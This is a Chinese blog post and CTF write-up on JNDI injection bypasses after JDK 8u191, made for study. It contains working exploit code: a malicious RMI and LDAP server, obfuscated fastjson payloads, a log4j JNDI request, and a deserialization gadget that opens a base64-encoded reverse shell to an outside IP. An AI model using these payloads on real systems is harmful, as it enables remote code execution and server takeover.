Java安全 - 记JDK8u191后JNDI绕过原理

前言

本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky 原文链接为https://xz.aliyun.com/t/13793

诶呀这玩意学了蛮久了真的,离大谱,各种事故各种坑点,不过结果还算好都弄清楚了,记录下顺便分享两个CTF案例来进行加深理解,下次遇到高jdk的JNDI就不会那么踉踉跄跄了

JNDI注入原理

image

JNDI可以访问的目录及服务,比如:DNS、LDAP、CORBA对象服务、RMI等等。

image

RMI + JNDI

首先上述也讲清楚了,其实JNDI的标准注入就是从RMI​中去寻找对应的名字所对应的Reference​对象,而这个对象是可以任意写地址和类的,所以其实JNDI就是去找这么个东西,可以看如下demo

首先是开启一个RMI的服务器,然后在JNDI的Server端把我们的Reference​对象重新绑定到某个名字下,此时在写了恶意payload的class文件目录下开启http服务,然后用JNDI的客户端直接去lookup​查找rmi服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//JNDIClient.java
package jndi;

import method.SayHello;

import javax.naming.InitialContext;

public class JndiClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

InitialContext initialContext = new InitialContext();
SayHello sayHello = (SayHello)initialContext.lookup("rmi://127.0.0.1:1099/sayhello");
}
}

image

来跟一下断点,直接在JndiClient.java​的lookup​方法下断点调试

会先走几个无关紧要的lookup​方法最后会走到对应协议的lookup​方法中,因为我走的是RMI​协议所以最后走到了

\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.java#lookup()​方法

image

然后返回的时候把获取到的结果传入decodeObject​方法,跟进下

image

发现只要是继承了RemoteReference​类,就会调用getObjectInstance​方法继续往下处理,再次跟进下

image

发现是从引用的变量中获取工厂,调用了getObjectFactoryFromReference​方法 ,继续跟进

发现就已经开始类加载了(我的类是T​)

image

然后先用 AppClassLoader​寻找本地类

image

当然这里找不到的话就会走下面的逻辑再次加载

image

跟进下发现最后会调用URLClasserloader​去远程加载

image

那么就是相当于会去在我们的路径下去找我们的恶意类

image

加载之后最后在这里进行类的初始化执行了我们的代码,所以只要一执行完这个代码就会弹计算器了

image

LDAP + JNDI

一样直接起个LDAP​服务下个断点

经过几层的lookup​方法最后调用到c_lookup​方法中,在这个方法底下会去调用decodeObject​方法将我们传入的ldap对象

image

跟进decodeObject​方法 ,发现会根据LDAP​查询的结果来进行不同方法的调用,因为LDAP​中会有能够存储很多值比如序列化,引用类 等 ,而我们传入的肯定是引用类于是就走到了引用类的判断方法中

image

这个方法其实大致了解下即可,就是个去解析我们的Reference​引用对象的

image

我们直接看将返回的接口做了什么即可,最后在\rt.jar!\com\sun\jndi\ldap\LdapCtx.java​将返回结果传入了DirectoryManager.getObjectInstance​这个方法

image

跟进下发现跟RMI​差不多一样去调用了getObjectFactoryFromReference​方法去解析我们的引用类

image

后面代码就是跟RMI一模一样了都是去本地找类找不到用URLClassLoader​去远程加载类了

高版本限制

其实在之前讲的原理当中可以知道,在jdk8u191之前都是存在这些的,虽然说ldap是低版本的绕过,问题其实也就是可以去远程加载类

然后更改到jdk8u201之后就不行了,具体改了什么继续调试下

跟到D:\Environment-Java\java-1.8.0_201\src.zip!\javax\naming\spi\DirectoryManager.java​的关键代码 跟进下

image

进行加载类

image

本地类加载不成功后看远程类加载的逻辑

image

跟进后发现有一个属性叫trustURLCodebase​ 要等于true​才能够进行远程加载,而默认的trustURLCodebase​是被设置成了false

image

也就是说,只要人为不修改,就不会存在远程加载类的行为了,那也就是说这个远程加载类就是被修复了

绕过

但是转过头来一想,我们远程加载被修复了,但是还可以本地加载

所以对于JDK8u191以后得版本来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。我们先来看一些基本概念,然后再分析这两种绕过方法。

利用本地恶意Class作为Reference Factory

看名字其实很帅,但是调试一下就可以很清楚理解了

D:\Environment-Java\java-1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.java​中会去把LDAP​或者RMI​所解析得到的Reference​解出来

image

紧接着跟进到D:\Environment-Java\java-1.8.0_201\src.zip!\javax\naming\spi\DirectoryManager.java#getObjectFactoryFromReference()​可以发现他是接收了两个传参,一个是引用类,另一个是引用类的工厂名字

image

并且返回的类型是ObjectFactory​类(ObjectFactory​其实是一个接口)

之后这个工厂类去调用了getObjectInstance​方法,那么现在思路就有了,如果我们去找的是本地的工厂类,并且这此类实现了ObjectFactory​接口并且他还有getObjectInstance​方法,而getObjectInstance​这个方法还有危险的操作,那么就可以进行一个利用了(说起来感觉条件很苛刻)

image

但实际上真的有这个类,org.apache.naming.factory.BeanFactory

我们去看看这个类

实现了ObjectFactory​接口

image

存在getObjectInstance​方法

image

有一个反射的方法,该类的getObjectInstance()​函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference​对象,均是攻击者可控的。

image

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package jndi.bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3377);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

利用LDAP返回序列化数据,触发本地Gadget

其实这里就是在分析LDAP+JNDI的时候他有个类似swich的东西,当时传入的是引用类,所以走了引用类的逻辑,但是如果我们传入的是序列化的对象,并且后续会被反序列化,那么就相当于存在了一个天然的反序列化入口了,就可以触发本地的Gadget了

本地调试下 先添加CC的依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

1
java -jar y4-yso.jar CommonsCollections6 "calc" > 1.ser | base64 

然后传进ldapserver

1
java -jar LDAPServer.jar 127.0.0.1 1.txt

image

然后直接去JNDI查询

1
SayHello sayHello = (SayHello)initialContext.lookup("ldap://127.0.0.1:6666/Evail");

image

调试一下

会走到序列化的逻辑进行反序列化

image

image

总结

这里要注意的点就是 RMI和LDAP都是需要出网的环境进行远程方法调用或者是目录名称查询,所以都是可以操作的,下图是两种方式的jdk适配版本总结,那么其实绕过跟一遍断点即可理解完,都是一些攻防博弈,非常值得学习

0174054c5c01883e9b99a07631b58e3

案例分析

湖南邀请赛 - Login

tips: 本地是用的是jdk8u65起的

image

明显login​路由这存在一个打fastjson​的入口,屏蔽了关键字,看依赖是1.2.47​的fastjson

第一反应肯定是打以下的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.alibaba.fastjson.JSON;

public class Fastjson6 {
public static void main(String[] args) throws Exception{
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}

由于过滤了关键字,可以直接用hex​ 跟 unicode​去绕过即可,本地尝试打一下

1
{"username":{"@\u0074\u0079\u0070\u0065": "java.lang.Class","val":"com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"password":{"@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://127.0.0.1:1099/qv9wk6","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}

image

但打远程的时候发现就不可以,那么仔细去分析一下,其实会发现有以下几个原因

  1. fastjson不出网
  2. 使用的jdk并不是8u65 而是别的jdk

首先第一个 打不出网的fastjson打TemplatesImpl​的话并没有开启私有可访问的参数Feature.SupportNonPublicField​,C3P0​,Commons-io​,BCEL​都没有这些依赖,因为依赖非常的清楚只有这些

image

那么我们再来看看他的pom.xml

1
2
3
4
5
6
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.8</version>
<scope>test</scope>
</dependency>

发现存在一个用于与 LDAP​ 目录服务器进行通信的一个依赖,所以考虑了下这绕过高版本jdk(本地我换了jdk8u201)实现jndi注入打CC链,所以直接起一个恶意的jndi返回CC6的恶意序列化值即可打反序列化了

1
{"username":{"@\u0074\u0079\u0070\u0065": "java.lang.Class","val":"com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"password":{"@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1:6666/Evail","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}

image

但是当时的提示如下

d663d9ac1e16a1d143cdfa4939d3e35

只是后半段是用了temp去改了下CC6的后半段用了CC3的加载字节码来加载恶意类罢了,但看代码也没过滤Runtime啊,直接打命令执行弹shell就好了把,为了贴合题目提示要求,也写了下加载字节码的,也能成功弹出计算机

[HZNUCTF 2023 final]ezjava

知识点: log4j2 + fastjson原生反序列化 + 高版本JNDI注入绕过

image

访问后提示能够log​你的uri​ 并且提示fastjson 1.2.48 ​ 先想到的是log4j

于是用log4j的payload去打一下先

image

发现java版本为jdk1.8.0_222​,因为在log4j打的其实就是JNDI注入,所以第一时间想到的就是 此版本已经是jdk8u191之后了,所以就不能够进行远程加载类了,那再探测下fastjson​的1.2.83使用通用的链子来打一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package Fastjson;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class F83 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception {


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTIuMTM2LjQ2LjI4Lzc5NzkgMD4mMQ==}|{base64,-d}|{bash,-i}")});
setValue(templates, "_name", "qiu");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates, bd);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
byte[] serialize = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serialize));
// ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// objectInputStream.readObject();

}}

但由于jdk高版本的限制所以要用到一些手法绕过,这里用的就是LDAP返回序列化字符串来打反序列化了

起一个恶意的LDAPServer,里面加载了恶意的序列化数据

LDAPServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package JNDIBypass;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.io.FileUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] tmp_args ) throws Exception{
if (tmp_args.length < 2) {
System.out.println("Usage: java xxx.jar <IP> <file>");
System.exit(1);
}

String ip = tmp_args[0];
String[] args = new String[]{"http://" + ip +"/#Evail"};
String payload = "";
File file = new File(tmp_args[1]);
try {
payload = FileUtils.readFileToString(file);
System.out.println(payload);
} catch (IOException e) {
e.printStackTrace();
}

int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
private String payload;

public OperationInterceptor ( URL cb , String payload) {
this.codebase = cb;
this.payload = payload;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e, payload);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData", Base64.decode(payload));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

以jar的形式开启,并且传入序列化的值

1
java -jar LDAPServer.jar ip 1.txt

然后用JNDI去找IP+PORT即可成功反弹

image​​

1
2
3
4
5
6
7
GET /{{urlenc(${jndi:ldap://152.136.46.28:6666/Evail})}} HTTP/1.1
Host: node5.anna.nssctf.cn:28379
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

Java安全 - 记JDK8u191后JNDI绕过原理
https://zjackky.github.io/post/java-security-remembrance-jdk8u191-jndi-bypasses-the-principle-2m8bwc.html
作者
Zjacky
发布于
2024年1月18日
许可协议